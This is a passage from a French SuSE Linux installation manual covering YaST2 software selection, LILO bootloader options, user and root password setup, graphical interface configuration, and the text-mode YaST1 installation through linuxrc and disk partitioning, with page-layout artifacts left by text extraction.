d'amorcer à partir du disque. Si quelque chose n'est pas dans les règles, vous en serez averti et vous pourrez modifier votre choix en conséquence. Au début de l'installation proprement dite, dès que toutes les conditions se- ront remplies, YaST2 configurera de lui-même l'espace disque. Le disque entier ou, selon le cas, l'espace disponible et/ou les partitions rendues dispo- nibles seront divisés en 3 partitions standards pour SuSE Linux : une petite partition pour /boot (environ 16 Mo) si possible au début du disque, une par- tition de swap (128 Mo) et le reste pour /. Vous trouverez des informations d'ordre général sur le partitionnement au paragraphe 2.8 page 67. Problèmes éventuels ~ Il n'est pas possible de sélectionner une certaine partition. YaST2 ne per- met pas, au cours de la procédure standard, de choisir une partition ``au milieu'' du disque dur. Pour contourner ce problème, vous devez partition- ner en passant par l'option `Partitionnement manuel'. 2.1.9 Sélection de logiciels Dans les dialogues qui vont suivre, vous déterminerez la taille de votre in- stallation SuSE Linux. Sélectionnez pour cela l'une des options affichées et choisissez le cas échéant les composants supplémentaires que vous désirez. Sélection de logiciels : Déterminer l'équipement de base Vous devez tout d'abord choisir l'équipement de base de votre système : `Minimal' ~ Le système `minimal' est un système d'exploitation Unix pleinement opérationnel qui fonctionne en mode texte (aussi bien le sys- tème de base que toutes les applications importantes). Il est ainsi pos- sible, même si l'espace disque est limité, de tester toutes les fonctions essentielles de SuSE Linux. Ceci est également valable si vous avez une application concrète qui ne requiert pas de configuration supplémentaire du système (espace requis, environ 150 Mo). `Standard' ~ Le système `standard' inclut un équipement logiciel de base bien choisi qui comporte tout ce qu'il faut pour débuter, par exemple une interface graphique, des programmes d'impression, des logiciels per- mettant d'accéder à Internet, des jeux, des éditeurs, un lecteur de CD etc. (espace requis, environ 500 Mo). `Presque tout' ~ Vous devriez installer `presque tout' si vous savez que vous aurez besoin de la quasi-totalité des paquetages ou si vous voulez connaître toute l'étendue de la gamme de logiciels SuSE Linux. Mais il vous faut pour cela suffisamment de place disponible (espace requis, plus de 6 Go). Le système `standard' est tout particulièrement recommandé pour débuter. Si vous avez besoin de logiciels supplémentaires, vous pourrez toujours les installer ultérieurement. * * 21 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ En partant de l'une des combinaisons de logiciels mentionnées (``équipe- ment de base''), vous pouvez, avec le bouton `Sélection détaillée', ajouter ou éliminer certains composants, certaines applications spéciales (``paquetages'') . Sélection détaillée de logiciels : Modifier les détails Si vous avez choisi `Sélection détaillée' dans le précédent dialogue, vous pouvez modifier ici certains détails de votre ensemble de logiciels. Dans la `sélection détaillée' il vous est proposé des groupes de pa- quetages auquels vous pouvez ajouter autant de composants que vous le sou- haitez. Pour les logiciels libres, vous avez en outre la possibilité d'installer en même temps les sources. Sélectionnez pour cela `Installation des sources disponibles'. Il convient cependant de noter que les sources oc- cupent parfois beaucoup de place et ne présentent en général d'intérêt que pour les programmeurs. ________________________________________________________________________________________________________* *________|| | La sélection de logiciels peut être complétée à tout moment après l'instal- * * |||| | * * ||| | lation. Il suffit d'invoquer YaST2 ou le YaST traditionnel pour installer des * * ||| | logiciels à l'aide de la sélection des paquetages (voir chapitre 3 page 81). Si * * ||| | * * ||| | vous voulez obtenir dès maintenant un résultat rapide, il serait préférable, * * ||| | au cours de la première installation, de ne pas trop vous enfoncer dans la * * ||| | * * ||| | jungle des applications ;-) * * ||| |_______________________________________________________________________________________________________* *________|||_ L'option `Logiciels commerciaux' est également à votre disposition. Choisissez, dans ce dialogue, les paquetages logiciels que vous désirez. Avec `Sélection de paquetages déterminés', vous accéder, de ma- nière sélective, à chacune des applications ou à chacun des paquetages logi- ciels. Si vous sélectionnez ou désélectionnez ici des paquetages, YaST2 vé- rifiera constamment les dépendances entre les différents paquetages et vous proposera, le cas échéant, d'installer des paquetages supplémentaires pour satisfaire ces dépendances. Pour un bon fonctionnement des logiciels, il est essentiel qu'il n'existe pas de dépendances qui ne soient pas résolues. Problèmes éventuels ~ YaST2 va vérifier si l'espace disponible est suffisant pour votre sélection de logiciels. Si ce n'est pas le cas, vous devrez soit réduire la taille de votre installa- tion, soit mettre des partitions supplémentaires à la disposition de SuSE Linux. Si vous désirez utiliser des partitions supplémentaires, allez, avec `Retour' dans le masque `Choisissez un disque dur'. Voir cha- pitre 2.1.8 page 20. ~ Si vous revenez ici à partir d'un des dialogues suivants avec `Retour' et si vous faites une nouvelle sélection de composants, la sélection indivi- duelle de paquetages sera annulée. Soyez donc prudent car vous risquez d'avoir fait pour rien certains travaux minutieux qui peuvent éventuelle- ment avoir pris beaucoup de temps. 22 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ 2.1.10 LILO ~ Gestionnaire d'amorçage pour le démarrage du système Pour que Linux puisse finalement démarrer, il est nécessaire de préparer un mécanisme d'amorçage. Vous devez déterminer à quel emplacement du sys- tème le gestionnaire d'amorçage LILO (angl. LInux LOader) devra être ins- tallé ou, le cas échéant, spécifier qu'un autre concept d'amorçage doit être adopté (vous trouverez des informations à ce sujet au paragraphe 2.3 page 44 et au chapitre 4 page 117). ~ Si YaST2 ne détecte sur votre machine aucun autre système d'exploita- tion que SuSE Linux et si cette constatation correspond à la réalité, les choses sont alors très simples et vous pouvez cliquer sur `Continuer'. ~ Il en est autrement si YaST2 détecte un autre systéme d'exploitation (par exemple Windows) ou si le partitionnement de votre disque dur ne permet pas l'amorçage (limite des 1024 cylindres). Ou encore si le matériel de votre PC (système mixte composé de disques durs SCSI et (E)IDE) ne permet pas de reconnaître avec certitude s'il est possible d'amorcer le système. Pour de tels cas, il existe une méthode sûre qui consiste à faire créer une disquette d'amorçage. Mais si YaST2 ne parvient pas à faire un diagnostic exact de la situation ou si vous avez vous-même une autre idée sur la manière de démarrer votre système, sélectionnez `Autre configuration' afin de configurer manuel- lement le démarrage du système. ~ Nous allons bientôt vous en dire plus. LILO : Autre configuration de démarrage YaST2 vous donne le choix entre 4 possibilités : `Sur C : le secteur maître d'amorçage (MBR) du premier disque dur' ~ Si SuSE Linux est le seul système d'exploitation que vous voulez ins- taller, la place de LILO est sans aucun doute sur le + MBR (angl. Master Boot Record). LILO installé sur le MBR peut aussi servir de gestionnaire d'amorçage pour plusieurs systèmes d'exploitation. Ne choisissez toutefois cette op- tion que si vous êtes sûr que vos systèmes d'exploitation déjà instal- lés peuvent être amorcés par LILO ~ en général, c'est le cas de Win- dows95/98, voir à ce sujet le paragraphe 4.7.1 page 134. Si vous avez des doutes, donnez la préférence à l'option `Créer une disquette d'amorçage'. `Créer une disquette d'amorçage' ~ Si vous prévoyez de faire tour- ner plusieurs systèmes d'exploitation sur votre machine, vous avez la pos- sibilité de créer une disquette d'amorçage pour SuSE Linux. Ceci pré- sente l'avantage de ne pas affecter un mécanisme d'amorçage déjà exis- tant. Vous pouvez en outre lancer à tout moment SuSE Linux à partir de cette disquette. Si vous voulez mettre toutes les chances de votre côté, choisissez cette option. Remarque : Il est encore possible de configurer plus tard, à l'aide de YaST , une méthode d'amorçage avec LILO sur le MBR (voir para- graphe 3.6.2 page 103, `Configurer LILO '). * * 23 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ `Ne pas installer LILO (autre gestionnaire d'amorçage)' * * ~ Cette option vous permet de continuer à utiliser votre propre gestionnaire d'amorçage. Il ne sera apporté aucune modification au secteur maître d'amorçage (angl. Master Boot Record = MBR). LILO sera installé sur la partition /boot. Vous devrez cependant dans ce cas reconfigurer vous- même votre gestionnaire d'amorçage. Il est décrit au paragraphe 4.7.2 page 135 comment procéder pour Windows NT et Linux. `Sur une autre partition' ~ Choisissez cette option si vous voulez ou devez spécifier une autre partition. Voir le point précédent. Dans le champ `paramètres d'amorçage', vous inscrirez si besoin les ``paramètres du noyau''. Ces entrées serviront à construire la ligne append . Voir par exemple la page 129 et la page 370. L'option linear est rarement nécessaire. Cette option est utile si les réfé- rences aux secteurs de disques doivent être enregistrées en tant qu'adresses logiques et non pas en tant qu'adresses physiques. Voir la page 128. 2.1.11 Informations sur l'utilisateur Sous SuSE Linux, il est possible à plusieurs utilisateurs de travailler simulta- nément mais chacun d'entre eux doit tout d'abord se connecter au système. Cette procédure est connue sous le nom de ``login''. Les spécifications à faire dans cette fenêtre servent à créer votre ``compte utilisateur'' (prénom, nom de famille, nom d'utilisateur, mot de passe). Il vous est demandé d'entrer votre prénom et votre nom. Il sera en outre dé- terminé un ``nom d'utilisateur'' et un mot de passe avec lesquels vous pourrez vous connecter au système SuSE Linux. Le bouton `Suggestion' vous donne la possibilité de faire créer automati- quement votre ``nom d'utilisateur'' à partir de votre prénom et de votre nom. La suggestion qui vous est faite peut être modifiée et vous pouvez aussi taper vous-même le nom que vous souhaitez. Vous devez ensuite entrer un mot de passe et le répéter pour vérification. Tenez compte de la casse des lettres et différenciez les majuscules des mi- nuscules. Le mot de passe doit en outre comporter au moins 5 caractères sans aucun accent. Les caractères suivants sont admis en plus des lettres #,. ; :._-+ !$%&/| ? {[()]} ainsi que les espaces et les chiffres de 0 à 9 . Retenez bien votre ``nom d'utilisateur'' et votre mot de passe. Ils vous seront toujours nécessaires lorsque vous voudrez travailler avec SuSE Linux. Avec `Continuer', vous arrivez dans une fenêtre prévue pour l'entrée du mot de passe `root'. 2.1.12 Déterminer le mot de passe `root' L'utilisateur `root' a sous Linux des privilèges particuliers. Il peut par exemple démarrer/arrêter des processus système, créer ou supprimer des comptes utilisateurs, manipuler des fichiers système importants etc. En d'autres termes, il peut exécuter les tâches d'un + administrateur système. 24 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ Il vous est demandé ici d'attribuer un mot de passe à l'utilisateur `root'. Appliquez les mêmes règles que pour le mot de passe de l'utilisateur normal. _______________________________________________________________________________________________________________________ |||||||| Il est indispensable de bien noter le mot de passe `root' qui plus tard ne ||| | |||||||| || | |||||||| sera plus affiché. Ce mot de passe vous sera nécessaire lorsque vous aurez || | |||||||| des tâches d'administration à exécuter. || | ||||||||_______________________________________________________________________________________________________________||_ Si vous décidez maintenant de `continuer', les choses deviennent sérieuses et l'installation proprement dite démarre pour de bon. 2.1.13 Confirmer les configurations ~ démarrer l'installation Pour vous donner une possibilité de contrôle, toutes les données collectées jusqu'à présent vont être affichées. Si vous souhaitez faire des modifications, vous pouvez, avec `Retour', revenir pas à pas en arrière jusqu'au premier masque d'entrée. Si tout a été fait comme il convient et si vous décidez de `continuer', il vous sera demandé, par mesure de sécurité (question en vert), si vous désirez vraiment démarrer l'installation avec les paramètres affichés : ~ Lorsque vous aurez confirmé avec `Oui, installer', YaST2 com- mencera à installer votre système. ~ Avec `Non', vous avez la possibilité de vérifier encore une fois vos don- nées et de les modifier le cas échéant en revenant avec `Retour' au masque correspondant. Si vous avez changé d'idée et si vous jugez préférable de remettre à plus tard l'installation de SuSE Linux, vous avez maintenant la possibilité d'ar- rêter complètement le processus d'installation. Toutes vos configurations et spécifications seront alors perdues. Si vous sélectionnez `Annuler l'ins- tallation', votre machine sera arrêtée après qu'il vous aura été demandé de confirmer encore une fois votre décision. Vous pourrez alors sans problème l'éteindre ou la réamorcer. Jusqu'à cet instant aucune modification n'a été effectuée sur votre machine. Une spécialité pour ``experts'' vous est proposée avec `Sauvegarde de la configuration sur disquette'. Toutes les spécifications que vous avez faites seront enregistrées sur une disquette et vous pourrez ainsi les utiliser pour d'autres installations. Vous vous êtes décidé pour l'option `Oui, installer' et pouvez mainte- nant voir YaST2 au travail. Il va créer et formater des partitions. Ceci peut prendre un certain temps dont la durée dépend de l'équipement de votre sys- tème et de la taille de votre disque dur. Évitez toute interruption car le disque dur se trouverait alors dans un état indéfini. Ensuite, les paquetages du CD 1 vont être lus et le système de base SuSE Linux va être installé. Lorsque vous aurez validé avec `Continuer', ce sys- tème de base en mode texte sera démarré. YaST2 poursuit l'installation des logiciels et vous demande ~ si besoin ~ les prochains CD. Si vous `annulez' l'installation au cours de cette phase, le système ne sera plus utilisable ! * * 25 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Selon les spécifications que vous aurez faites au paragraphe 2.1.10 page 23, il vous sera éventuellement demandé d'insérer une disquette formatée pour faire créer une disquette d'amorçage. N'utilisez pour cela aucune des disquettes fournies ! Si LILO est installé sur le MBR, vous recevrez un message qui vous fera connaître la commande vous permettant de restaurer le MBR d'origine. Notez bien cette commande. SuSE Linux est maintenant installé avec succès sur votre machine ! Il ne manque plus que la préparation de l'interface graphique. Ceci est bien sûr superflu si vous n'avez installé qu'un système `minimal' ~ le système `minimal' étant explicitement conçu pour fonctionner en mode texte. Vous pourrez ensuite faire votre premier essai avec SuSE Linux. 2.1.14 Préparer l'interface graphique Afin de pouvoir mettre à votre disposition une interface graphique dès votre premier login, YaST2 va tenter de trouver de lui-même toutes les informa- tions nécessaires au sujet du moniteur et de la carte graphique. Si cela réussit, il sera sélectionné une résolution d'image, un réglage des couleurs, une fréquence de répétition pour le moniteur et l'écran de test sera affiché. ________________________________________________________________________________________________________* *________ | Contrôlez bien les paramètres avant de donner le ``feu vert'' ! En cas de * * |||| | * * ||| | doute, consultez la documentation qui accompagne votre carte graphique * * ||| | et votre moniteur. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si le moniteur n'est pas reconnu, choisissez votre modèle dans la liste qui vous est présentée. Si vous possédez un modèle inconnu, vous devrez entrer manuellement les paramètres ou faire lire les données à partir d'une `dis- quette pilote' qui a éventuellement été fournie avec votre moniteur. Dans ce cas, il vous est conseillé de consulter la documentation qui accompagne votre moniteur. ~ Si vous ne voulez pas d'interface graphique, sélectionnez, dans la liste des constructeurs, la première option `Pas de configuration X11' On aborde ensuite la question du réglage de l'écran. La résolution idéale dépend de vos goûts personnels et de votre matériel. Comme profondeur de couleurs (`nombre de couleurs'), il est conseillé de choisir 16bpp . Problèmes éventuels ~ Dans quelques rares cas, il est nécessaire de configurer manuellement le + serveur X. Pour cela, vous devrez lancer plus tard le programme SaX . Vous trouverez des informations sur SaX au chapitre 8.1 page 240. 2.1.15 Configurer les composants du système Pendant la première phase de l'installation, vous avez déjà la possibilité de configurer ~ pour autant qu'ils soient présents ~ certains composants de votre système : imprimante, son, Internet et réseau. Mais s'il commence à se faire tard, vous pouvez, en toute bonne conscience, remettre ce travail au lendemain ! 26 _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succès____________* *______________________ 2.1.16 Première connexion Ça y est ~ maintenant vous pouvez vous connecter. Le login graphique (le gestionnaire d'écran kdm ) apparaît et affiche les comptes utilisateurs créés (figure 9.6 page 273). Il ne vous reste plus qu'à entrer votre nom d'utilisateur à l'invite login : ainsi que votre mot de passe pour que KDE (``K Desktop Environment'') soit démarré. ~ Vous trouverez des informations sur KDE au paragraphe 9.2 page 271 et vous disposez en outre du système d'aide kdehelp . Si vous continuez à travailler en mode texte, entrez votre nom d'utilisateur à l'invite login : Lorsque vous aurez entré votre mot de passe, vous verrez apparaître l'+ invite (angl. prompt) du système Linux. 2.1.17 Tour d'horizon et travail sur le système Pour les nouveaux venus sous Linux, le chapitre 19 page 481 du manuel constitue une aide précieuse qui leur permettra de bien débuter. L'annexe F page 541 et pages suivantes apporte en outre des réponses à quelques ques- tions fréquemment posées. Des livres permettant d'acquérir des connais- sances plus poussées sont cités dans la bibliographie (voir page 565) et cer- tains d'entre eux sont décrits sous http://www.suse.de/de/produkte/ buecher/ Familiarisez-vous aussi avec le ``vieux'' YaST (chapitre 3 page 81 et pages suivantes). ~ Pour obtenir des informations détaillées sur la configuration de l'interface graphique, en l'occurrence le système X Window, reportez-vous au cha- pitre 8 page 239. La configuration avec SaX est décrite au paragraphe 8.1 page 240. ~ La carte son est le thème du paragraphe 10.3 page 296 ~ il est ici question de ``l'environnement matériel de l'ordinateur Linux''. ~ Pour installer votre imprimante et pour savoir quelles imprimantes sont supportées, lisez le chapitre 12 page 333. Pour une installation simple avec YaST , voyez le paragraphe 3.6.1 page 101. ~ Vous apprendrez comment configurer votre accès à Internet au cha- pitre 5.3 page 171. Pour l'installation du modem, voir le paragraphe 6.5 page 190 et pour ISDN le paragraphe 6.2 page 173. ~ Pour en savoir plus sur la configuration d'un réseau, lisez le chapitre 5 page 153. _______________________________________________________________________________________________________________________|| |||||||| Si vous voulez adjoindre à un réseau interne un accès ISDN, il vous est né- ||| | |||||||| cessaire d'avoir des connaissances poussées dans le domaine des réseaux. || | |||||||| || | |||||||| Vous trouverez des informations dans la documentation spécialisée sous || | |||||||| les mots-clés ``passerelle'' (angl. gateway), ``routeur'' ou ``pare-feu'' (angl. || | |||||||| || | |||||||| firewall). || | ||||||||_______________________________________________________________________________________________________________||_ * * 27 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.2 Installation en mode texte avec YaST 1 De nombreux chemins mènent à un Linux installé - mais certains d'entre eux sont plus ardus que d'autres. Si vous n'êtes plus un novice de Linux, certaines explications pourront vous sembler inutiles et fastidieuses. Souvenez-vous alors de l'époque où vous en étiez encore à votre première machine et où vous puisiez avec gratitude vos informations à toutes les sources qui se présentaient : : : 2.2.1 Situation de départ SuSE Linux met à votre disposition, avec YaST , un outil qui vous guidera de façon sûre à travers toutes les étapes de l'installation depuis la préparation de votre disque dur jusqu'à la configuration d'un login graphique. Dans le ``cas normal'' d'une machine sur laquelle SuSE Linux doit être ins- tallé, les conditions suivantes doivent être remplies : ~ Vous pouvez démarrer votre machine soit à partir de la disquette d'amor- çage fournie, soit directement à partir du CD 1. ~ Votre disque dur offre, pour l'installation de Linux, suffisamment d'es- pace libre non partitionné. Ou vous disposez d'un disque dur suffisam- ment grand que vous voulez utiliser spécialement pour Linux. ~ Votre + lecteur de CD-ROM est supporté par Linux. Si vous ne savez pas encore si c'est le cas : pas de panique, vous pouvez le découvrir. Si l'une de ces conditions ne devez pas être remplie, il existe des ``chemins détournés'' qui vous permettront de réaliser votre installation. De tels chemins vont vous être présentés au paragraphe 2.4 page 46 et pages suivantes. 2.2.2 Maintenant tout commence : L'écran d'accueil Insérez le CD 1 et/ou la disquette dans le lecteur correspondant et mettez votre machine en marche pour l'amorçage. Si elle refuse d'amorcer, vous devrez probablement modifier vers A,C ou CDROM,C,A l'ordre du processus d'amorçage dans le BIOS de la machine. Après quelques instants, vous voyez apparaître l'écran d'accueil (figure 2.1 page suivante)._Appuyez dans les 3 secondes qui suivent sur une touche (par exemple |____T|ab) afin que YaST2 ne soit pas lancé automatiquement. Entrez_ maintenant manual à l'invite d'amorçage (boot : ) et validez avec |_____-|: boot: manual |______|- Vous pouvez maintenant voir, sur la partie inférieure de l'écran, les messages "Loading initdisk.gz..." ainsi que "Loading linux..." et après quelques instants le + noyau démarre et linuxrc est lancé. Le programme linuxrc est piloté par menu et attend vos entrées. 28 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ Fig. 2.1: L'écran de démarrage de SuSE Linux Problèmes éventuels ~ Si votre lecteur de CD-ROM (ATAPI) se bloque à l'amorçage du système, voyez le paragraphe 2.7.5 page 60. ~ Le CD 1, qui fournit un noyau optimisé pour processeurs Pentium, n'est pas reconnu comme support d'amorçage. Faites une tentative avec le CD 2. Voir paragraphe 2.6.2 page 56. ~ D'autres difficultés survenant à l'amorçage peuvent en général être contournées avec les paramètres du noyau. Voir paragraphe 14.3.2 page 370 et pages suivantes. 2.2.3 La base de votre installation : linuxrc Avec le programme linuxrc , vous chargerez, sous forme de modules du noyau, les pilotes éventuellement requis. Ensuite, linuxrc lancera le pro- gramme d'installation YaST et l'installation proprement dite des logiciels système et des programmes d'application pourra commencer. La manipulation de linuxrc est d'une extrême simplicité__:_ Avec |__|"et |__|#, vous sélectionnez une option du menu ; avec | ___|_et_|____|!,_ vous sélectionnez une commande, par exemple `Ok' ou `Annuler'. Avec |_____|-, vous faites exécuter la commande. ~ Vous trouverez une description plus détaillée de linuxrc au paragraphe 16.3 page 429 et pages suivantes. Configuration et intégration du matériel Le programme linuxrc commence par la sélection de la langue. ~ Sélectionnez une langue et validez votre choix avec |______|-. ~ Choisissez entre `Écran couleur' et `Écran__monochrome'._Si vous possédez un écran couleur, validez avec |_____-|. ~ Sélectionnez la disposition des touches du clavier. * * 29 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Fig. 2.2: Sélection de la langue Fig. 2.3: Menu principal de linuxrc Nous voici arrivés au menu principal de linuxrc (figure 2.3). Vous pouvez choisir entre les options suivantes : `Configuration' ~ Vous pouvez encore changer ici la langue, l'écran ou le clavier. `Informations système' ~ Ceux qui sont intéressés trouveront tout un tas d'informations sur le matériel pour autant que celui-ci ait été reconnu par le noyau ou que des modules déjà chargés y aient accès. `Modules du noyau (pilotes de matériel)' ~ Vous devez éventuel- lement sélectionner cette option pour charger des modules adaptés à votre matériel. Cas normal : Vous ne devez pas sélectionner cette option du menu si vous avez raccordé aussi bien votre disque dur (vos disques durs) que 30 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ votre lecteur de CD-ROM (+ ATAPI) à un contrôleur (E)IDE. Le support (E)IDE est en effet compilé de façon permanente dans le noyau. `[' ` 'Démarrer l'installation / le système ] ~ L'installation est maintenant poursuivie. `Abandon / Réamorçage' ~ Dans le cas où vous auriez changé d'idée : : : Ne démarrez le chargement des modules avec `Modules du noyau' que si vous avez besoin d'un support soit pour SCSI (non compatible avec Adaptec 2940) soit pour PCMCIA (voir paragraphe 11.1.6 page 326) ou si vous ne possédez pas de lecteur ATAPI. Pour savoir comment charger les modules, reportez-vous au paragraphe 16.3 page 429. Dans le sous-menu suivant, vous préciserez pourquoi vous voulez (ou plus exactement devez) charger des mo- dules. Les cas les plus courants sont : ~ Un module SCSI ~ si vous avez un disque dur SCSI ou un lecteur de CD-ROM SCSI. ~ Un module de CD-ROM ~ au cas où votre lecteur de CD-ROM ne serait raccordé ni au contrôleur (E)IDE ni au contrôleur SCSI. ~ Un module réseau ~ si vous procédez à une installation via NFS ou FTP ~ mais ce n'est pas ici notre sujet. _______________________________________________________________________________________________________________________|| |||||||| Si, parmi les modules standards, vous n'en trouvez aucun qui gère votre ||| | |||||||| || | |||||||| support d'installation (lecteur de CD-ROM propriétaire, lecteur de CD- || | |||||||| ROM sur port parallèle, PCMCIA), vous pouvez éventuellement avoir re- || | |||||||| || | |||||||| cours aux pilotes additionnels de la disquette modules. Pour cela, allez à || | |||||||| la fin de la liste et sélectionnez l'option `-- Autres modules --'. La || | |||||||| || | |||||||| disquette modules est demandée par linuxrc . || | ||||||||_______________________________________________________________________________________________________________||_ Démarrage de l'installation Comme vous avez déjà sélectionné `Démarrer__l'installation_ / le système', il vous suffit d'appuyer sur | _________E|ntréepour arriver à l'installation proprement dite. Vous pouvez ici choisir l'une des options suivantes : ~ `Démarrer l'installation' ~ C'est ce que vous allez faire. ~ `Amorcer le système installé' ~ Cette option sera éven- tuellement nécessaire par la suite si vous deviez avoir des diffi- cultés avec un amorçage normal. ~ `Démarrer le système de secours' ~ Cette option n'est pas encore disponible sur les systèmes AXP. ~ `Insérer le CD live' ~ Si vous voulez vous faire une idée du système sans pour autant l'installer sur votre disque dur. Pour le CD live, voir le paragraphe 3.6.4 page 108. Pour arriver à l'installation, appuyez maintenant sur |E__________|ntréeafin d'obtenir l'option du menu `Démarrer l'installation'. Maintenant, il est temps * * 31 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Fig. 2.4: Menu d'installation de linuxrc Fig. 2.5: Sélection du support source dans linuxrc de choisir un support d'installation. En général il suffit de laisser le curseur sur la sélection par défaut : `CD-ROM'. Appuyez maintenant sur |E_________|_ntréeet sélectionnez ensuite YaST1 afin de com- mencer l'installation proprement dite. Le support d'installation sera le CD- ROM. À moins que vous n'ayez fait un autre choix. L'environnement d'installation est chargé sur un disque RAM et ~ lorsque cette procédure est terminée ~ le programme d'installation YaST est lancé. Problèmes éventuels Il peut survenir les problèmes suivants : 32 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ ~ L'adaptateur SCSI utilisé n'est pas reconnu. Utilisez un noyau dans lequel est inséré le pilote SCSI correspondant ; créez une disquette d'amorçage selon la description faite au paragraphe 2.6.3 page 57 . ~ Le lecteur de CD-ROM ATAPI se bloque à la lecture : voir le para- graphe 2.7.5 page 60 et pour des informations plus générales, le para- graphe 2.7.13 page 64. 2.2.4 Démarrage de YaST YaST vous présente un écran d'accueil qui vous donne le choix entre 4 op- tions (voir figure 2.6). Fig. 2.6: YaST ~ Écran d'accueil _______________________________________________________________________________________________________________________|| |||||||| Si vous voulez faire plus ample connaissance avec YaST ou si vous avez ||| | |||||||| || | |||||||| des tâches de maintenance particulières, reportez-vous au chapitre sur || | |||||||| YaST (chapitre 3 page 81) ! ~ Au début de ce chapitre, vous trouverez || | |||||||| || | |||||||| aussi quelques informations sur la disposition et le fonctionnement du cla- || | |||||||| vier sous YaST . || | ||||||||_______________________________________________________________________________________________________________||_ `Nouvelle installation de Linux' Si vous voulez installer un nou- veau SuSE Linux. C'est précisément cette question que nous allons traiter dans la suite de ce texte ;-) `Mise à jour d'un système Linux existant' La mise à jour d'un système SuSE Linux est traitée au paragraphe 15.1 page 403. `Installation en mode expert' Si vous choisissez ce mode, vous au- rez de nombreuses possibilités d'intervenir de façon précise. Ne sélection- nez cette option que si vous avez suffisamment d'expérience sous Linux et si vous savez exactement quelles phases se succèdent les unes aux autres. Le mode expert ne sera pas décrit par la suite ! `Annuler ~ pas d'installation' Pour le cas où vous changeriez d'idée au dernier moment : : : * * 33 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Sélectionnez `Nouvelle installation de Linux'. Avant d'envisager de partitionner vous-même, lisez le paragraphe 2.8 page 67. Vous y trouverez des informations d'arrière-plan sur la manière de procéder. 2.2.5 Partitionner et formater le disque dur YaST vous fait savoir qu'un disque dur a été détecté. S'il y a suffisamment d'espace ``libre'' sur ce disque, YaST le constatera et vous proposera d'utiliser cette zone pour Linux (masque `Utiliser l'espace disponible ?'). ________________________________________________________________________________________________________* *________|| | Dans le cas où il existerait déjà une partition de swap ~ à la suite par * * |||| | exemple d'une installation précédente ~, YaST vous demandera si cette * * ||| | * * ||| | partition de swap doit être utilisée et ensuite intégrée dans le système. * * ||| |_______________________________________________________________________________________________________* *________|||_ Voici comment vous devez procéder pour installer les partitions nécessaires : `Partitionner' ~ À la question qui vous sera posée au sujet du partition- nement, vous devrez répondre en règle générale par `Partitionner' si vous procédez à une première ou à une nouvelle installation de SuSE Li- nux. Ne sélectionnez l'option `Installer LVM' que si vous savez exac- tement ce qu'est un Logical Volume Manager et si vous êtes sûr qu'il vous en faut un. `OUI' ~ Si vous répondez `Oui', YaST partitionnera de façon autonome et vous pourrez continuer en passant au paragraphe 2.2.7 page 36. `NON' ~ Si vous répondez `Non', vous pourrez partitionner. Fig. 2.7: YaST ~ Partitionner le disque Si YaST ne parvient pas à trouver d'espace libre, vous verrez apparaître le masque `Tout le disque'. Vous avez_ les deux_ possibilités_ qui sont dé- crites ci-dessous (rappel_: avec |T____a|bou |____|ou avec |!___|vous positionnez le curseur et avec |_____-|vous validez votre sélection) : 34 ________________________________________________________________2.2.__Installation_en_mode_texte_avec_YaST__1_______________* *______________________ `Partitionner' ~ Vous procédez vous-même au partitionnement de votre disque dur. Vous devez absolument sélectionner cette option si, parallèle- ment à Linux, vous voulez continuer à utiliser un autre système d'exploi- tation déjà installé. _______________________________________________________________________________________________________________________|| |||||||| Si vous faites exécuter l'option `Tout le disque', le disque dur sera en- ||| | |||||||| tièrement reconfiguré et vous perdrez la totalité des données qui se trouvent || | |||||||| || | |||||||| à ce moment sur le disque dur ! || | ||||||||_______________________________________________________________________________________________________________||_ `Tout le disque' ~ Après vous avoir posé une question de sécurité ``en rouge'', YaST procédera de façon autonome au partitionnement de votre disque et formatera votre partition automatiquement. Vous devriez toujours sélectionner cette option si voulez avoir, sur le disque choisi, un nouveau SuSE Linux comme seul système d'exploita- tion et si vous ne souhaitez pas avoir à vous préoccuper de la question du partitionnement. Les systèmes d'exploitation qui pourraient éventuel- lement se trouver sur votre disque seront alors effacés ! Si vous sélectionnez l'option `Tout le disque' YaST adoptera la stra- tégie suivante : ~ Il installera une partition /boot (au minimum 2 Mo ou 1 cylindre), ~ une partition de swap (le double de la quantié de RAM sans toutefois dépasser 128 Mo) ~ et le reste sous forme d'une grande partition qui, sous `/', deviendra la partition racine (répertoire racine). Problèmes éventuels ~ Il peut arriver que la relecture de la table des partitions pose des pro- blèmes. YaST vous en avertira dans une fenêtre de messages rouge et vous demandera d'amorcer. Dans un tel cas, redémarrez votre machine et au prochain passage renoncez à effectuer un nouveau partitionnement. ~ Il n'y a pas suffisamment de place disponible. Le chapitre 2.6.1 page 54 vous donne des informations sur la manière de faire de la place sur le disque avec fips sous DOS. 2.2.6 Commencer l'installation des logiciels Le disque dur étant préparé, il s'agit maintenant de choisir, dans l'abondance de ce qui vous est proposé, les logiciels que vous désirez installer. YaST vous demande maintenant un peu de patience : Les données des séries et paquetages doivent être lues à partir du support d'installation. Vous verrez, lorsque cette opération sera terminée, l'affichage du menu d'installation de YaST (figure 2.8 page suivante). Si vous ne désirez pas faire un choix particu- lier, continuez avec l'option `Démarrer l'installation'. Vous pouvez, dans ce cas, passer directement au paragraphe 2.2.8 page 37. ~ Sélectionnez à présent `Charger la configuration' pour faire votre choix de logiciels (Standard, Serveur réseau, Minimal etc.) Ce sujet est traité au paragraphe 2.2.7. Après avoir chargé la configuration appropriée * * 35 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ Fig. 2.8: YaST ~ Sélection des paquetages et avoir confirmé, vous vous retrouverez de nouveau au menu d'installa- tion. ~ Ici le menu d'installation, avec l'option `Modifier/créer une configuration', vous donne la possibilité de modifier certains dé- tails de 